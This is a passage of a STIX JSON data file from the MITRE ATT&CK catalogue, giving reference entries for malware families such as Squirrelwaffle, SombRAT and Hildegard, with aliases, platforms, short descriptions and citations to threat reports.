Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:49:47.226Z","name":"Mafalda","description":"[Mafalda](https://attack.mitre.org/software/S1060) is a flexible interactive implant that has been used by [Metador](https://attack.mitre.org/groups/G1013). Security researchers assess the [Mafalda](https://attack.mitre.org/software/S1060) name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s. (Citation: SentinelLabs Metador Sept 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Massimiliano Romano, BT Security"],"x_mitre_aliases":["Mafalda"],"type":"malware","id":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","created":"2023-01-26T01:21:43.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1060","external_id":"S1060"},{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["KARAE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0215","external_id":"S0215"},{"source_name":"KARAE","description":"(Citation: FireEye APT37 Feb 2018)"},{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","source_name":"FireEye APT37 Feb 2018"}],"modified":"2020-03-30T16:52:22.775Z","name":"KARAE","description":"[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:02:15.805Z","name":"Squirrelwaffle","description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as [Cobalt Strike](https://attack.mitre.org/software/S0154) and the [QakBot](https://attack.mitre.org/software/S0650) banking trojan.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Sebastian Showell-Westrip, BT Security","Harry Hill, BT Security","Catherine Williams, BT Security"],"x_mitre_aliases":["Squirrelwaffle"],"type":"malware","id":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","created":"2022-08-09T16:45:36.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1030","external_id":"S1030"},{"source_name":"ZScaler Squirrelwaffle Sep 2021","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022.","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike"},{"source_name":"Netskope Squirrelwaffle Oct 2021","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022.","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ELMER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c","created":"2017-05-31T21:32:43.237Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0064","url":"https://attack.mitre.org/software/S0064"},{"source_name":"FireEye EPS Awakens Part 2","url":"https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html","description":"Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)","modified":"2022-07-26T23:33:26.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"ELMER","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T19:42:34.359Z","name":"PolyglotDuke","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) is a downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2013. [PolyglotDuke](https://attack.mitre.org/software/S0518) has been used to drop [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["PolyglotDuke"],"type":"malware","id":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","created":"2020-09-23T15:42:59.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0518","external_id":"S0518"},{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Umbreon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0221","external_id":"S0221"},{"source_name":"Umbreon","description":"(Citation: Umbreon Trend Micro)"},{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-07-01T18:32:47.285Z","name":"Umbreon","description":"A Linux rootkit that provides backdoor access and hides from defenders.","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["AuTo Stealer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","created":"2022-08-07T15:31:14.540Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S1029","url":"https://attack.mitre.org/software/S1029"},{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) is malware written in C++ has been used by [SideCopy](https://attack.mitre.org/groups/G1008) since at least December 2021 to target government agencies and personnel in India and Afghanistan.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:37:25.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"AuTo Stealer","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:18:41.342Z","name":"Hildegard","description":"[Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)","x_mitre_platforms":["Linux","Containers","IaaS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_aliases":["Hildegard"],"type":"malware","id":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","created":"2021-04-07T18:07:47.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0601","external_id":"S0601"},{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Agent.btz"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","type":"malware","created":"2017-05-31T21:32:59.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0092","external_id":"S0092"},{"url":"https://securelist.com/agent-btz-a-source-of-inspiration/58551/","description":"Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.","source_name":"Securelist Agent.btz"}],"modified":"2020-03-30T14:50:51.213Z","name":"Agent.btz","description":"[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SLOWDRIFT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--414dc555-c79e-4b24-a2da-9b607f7eaf16","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0218","external_id":"S0218"},{"source_name":"SLOWDRIFT","description":"(Citation: FireEye APT37 Feb 2018)"},{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","source_name":"FireEye APT37 Feb 2018"}],"modified":"2020-03-30T18:10:33.691Z","name":"SLOWDRIFT","description":"[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T21:36:27.669Z","name":"SHUTTERSPEED","description":"[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["SHUTTERSPEED"],"type":"malware","id":"malware--4189a679-72ed-4a89-a57c-7f689712ecf8","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0217","external_id":"S0217"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-05T16:33:54.170Z","name":"SombRAT","description":"[SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been used since at least 2019 to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["SombRAT"],"type":"malware","id":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","created":"2021-05-26T13:13:43.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0615","external_id":"S0615"},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"},{"source_name":"FireEye FiveHands April 2021","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"},{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:32:31.883Z","name":"FlawedGrace","description":"[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["FlawedGrace"],"type":"malware","id":"malware--43155329-3edf-47a6-9a14-7dac899b01e4","created":"2019-05-29T14:33:04.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0383","external_id":"S0383"},{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["FLASHFLOOD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","type":"malware","created":"2017-05-31T21:32:28.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0036","external_id":"S0036"},{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2020-03-30T02:54:51.882Z","name":"FLASHFLOOD","description":"[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["FlawedAmmyy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","created":"2019-05-28T19:07:29.816Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0381","url":"https://attack.mitre.org/software/S0381"},{"source_name":"Proofpoint TA505 Mar 2018","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)","modified":"2022-07-18T15:59:26.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"FlawedAmmyy","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-10T17:18:52.857Z","name":"Snip3","description":"[Snip3](https://attack.mitre.org/software/S1086) is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including [AsyncRAT](https://attack.mitre.org/software/S1087), [Revenge RAT](https://attack.mitre.org/software/S0379), [Agent Tesla](https://attack.mitre.org/software/S0331), and [NETWIRE](https://attack.mitre.org/software/S0198).(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Aaron Jornet"],"x_mitre_aliases":["Snip3"],"type":"malware","id":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","created":"2023-09-13T18:52:15.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1086","external_id":"S1086"},{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["FYAnti","DILLJUICE stage2"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--434ba392-ebdc-488b-b1ef-518deea65774","type":"malware","created":"2021-06-22T14:20:30.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0628","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0628"},{"source_name":"DILLJUICE stage2","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T15:57:36.797Z","name":"FYAnti","description":"[FYAnti](https://attack.mitre.org/software/S0628) is a loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2020, including to deploy [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Securelist APT10 March 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:14:59.199Z","name":"Rifdoor","description":"[Rifdoor](https://attack.mitre.org/software/S0433) is a remote access trojan (RAT) that shares numerous code similarities with [HotCroissant](https://attack.mitre.org/software/S0431).(Citation: Carbon Black HotCroissant April 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Rifdoor"],"type":"malware","id":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","created":"2020-05-05T14:03:11.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0433","external_id":"S0433"},{"source_name":"Carbon Black HotCroissant April 2020","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-04T21:50:36.241Z","name":"SUGARUSH","description":"[SUGARUSH](https://attack.mitre.org/software/S1049) is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. [SUGARUSH](https://attack.mitre.org/software/S1049) was first identified during analysis of UNC3890's [C0010](https://attack.mitre.org/campaigns/C0010) campaign targeting Israeli companies, which began in late 2020.(Citation: Mandiant UNC3890 Aug 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["SUGARUSH"],"type":"malware","id":"malware--44e2a842-415b-47f4-8549-83fbdb8a5674","created":"2022-10-04T21:48:00.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1049","external_id":"S1049"},{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-19T21:09:35.017Z","name":"LoFiSe","description":"[LoFiSe](https://attack.mitre.org/software/S1101) has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) since at least 2023 to identify and collect files of interest on targeted systems.(Citation: Kaspersky ToddyCat Check Logs October 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["LoFiSe"],"type":"malware","id":"malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48","created":"2024-01-19T21:08:29.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1101","external_id":"S1101"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-09T19:24:50.164Z","name":"HOPLIGHT","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["HOPLIGHT"],"type":"malware","id":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","created":"2019-04-19T15:30:36.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0376","external_id":"S0376"},{"source_name":"HOPLIGHT","description":"(Citation: US-CERT HOPLIGHT Apr 2019)"},{"source_name":"US-CERT HOPLIGHT Apr 2019","description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T16:22:59.359Z","name":"Cuckoo Stealer","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. [Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 